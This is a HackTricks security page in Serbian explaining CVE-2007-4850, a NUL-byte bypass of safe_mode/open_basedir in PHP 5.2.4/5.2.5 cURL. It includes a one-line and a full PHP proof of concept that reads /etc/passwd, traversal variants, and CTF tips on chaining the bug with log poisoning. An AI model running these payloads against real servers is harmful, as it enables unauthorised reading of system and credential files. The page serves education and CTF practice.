PHP 5.2.4 and 5.2.5 PHP cURL
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Ova stranica opisuje zastarelu, ali i dalje korisnu u CTF-ovima i lokalnim starim instalacijama, tehniku za zaobilaženje PHP safe_mode/open_basedir provera koristeći cURL ekstenziju na određenim PHP 5.2.x buildovima.
- Affected: PHP 5.2.4 and 5.2.5 with ext/curl enabled.
- Impact: Čitanje proizvoljnih lokalnih fajlova uprkos safe_mode ili open_basedir ograničenjima (bez direktnog izvršavanja koda).
- ID: CVE-2007-4850.
Iz http://blog.safebuff.com/2016/05/06/disable-functions-bypass/
Jednolinijski PoC
Ako su safe_mode ili open_basedir aktivni i cURL je omogućen, sledeće će vratiti sadržaj trenutnog skripta:
var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));
Detaljniji PoC (arbitrary file read)
<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>
Napomene:
- Koristite dvostruke navodnike ili chr(0) za ubacivanje pravog NUL bajta. Percent-encoding (%00) neće pouzdano raditi.
- Ovo je primitiv za čitanje fajla. Kombinujte sa drugim primitivima (log poisoning, session file inclusion, etc.) za dalju eskalaciju kad je moguće.
Zašto ovo radi (ukratko)
Ranljivost leži u načinu na koji PHP 5.2.4/5.2.5 izvršava safe_mode/open_basedir provere za file:// URL-ove u ext/curl. Provera je parsirala URL i validirala komponentu puta, ali zbog rukovanja NUL-bajtom validirala je drugačiji string od onog koji je zapravo koristio libcurl. U praksi, validator je mogao odobriti put nakon NUL-a, dok je libcurl koristio deo pre NUL-a kao kontejner URL-a, što omogućava zaobilaženje koje dovodi do čitanja fajla smeštenog nakon NUL bajta. Pogledajte originalnu analizu i pogođeni makro u curl/interface.c za detalje. [CVE-2007-4850].
Ograničenja i ispravke
- Ispravljeno u kasnijim 5.2.x verzijama (npr. distro builds patched to 5.2.6) ispravljanjem parsiranja/validacije u ext/curl.
- Pogađa samo vrlo stare PHP deploymente; safe_mode je uklonjen u PHP 5.4 i moderni buildovi ne pokazuju ovo ponašanje.
Povezana istorijska cURL zaobilaženja
- CVE-2006-2563 (PHP 4.4.2/5.1.4): libcurl wrapperi su omogućavali
file://pristup sa ugrađenim NUL-ovima za zaobilaženje open_basedir; ispravljeno pre 5.2.x. - PHP bugovi #30609/#36223 pratili su ranije cURL open_basedir probleme koristeći
file://bez kanonikalizacije. Bilo koja provera pre NUL bajta ili bezrealpath-style rezolucije podložna je istom skraćivanju.
Saveti za CTF
- Kada identifikujete PHP 5.2.4/5.2.5 sa učitanim ext/curl (potražite
cURL support => enableduphpinfo()i tačnuPHP Version), ovaj trik obično radi čak i ako jeallow_url_fopenonemogućen jer ext/curl sam obrađujefile://. - Ako su direktni putevi blokirani, probajte relativnu traversal nakon NUL-a, npr.
file://x\x00../../../../etc/passwd. Traversal rešava libcurl, a ne open_basedir guard. - Možete ubaciti payload u jedno HTTP request telo da pokrenete LFI kroz ranjiv server-side kod koji preslikava korisnički kontrolisane URL-ove u
curl_exec()(češće u legacy SSRF-like endpoint-ima).
Vidi takođe
Druga disable_functions/open_basedir zaobilaženja i moderne tehnike su skupljene ovde:
Reference
- Ubuntu CVE entry with patch pointers and affected versions
- Technical writeup with code context (cxsecurity)
- PHP bug #36223 (curl bypasses open_basedir)
- CVE-2006-2563 cURL PHP File Access Bypass (earlier NUL-byte issue)
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


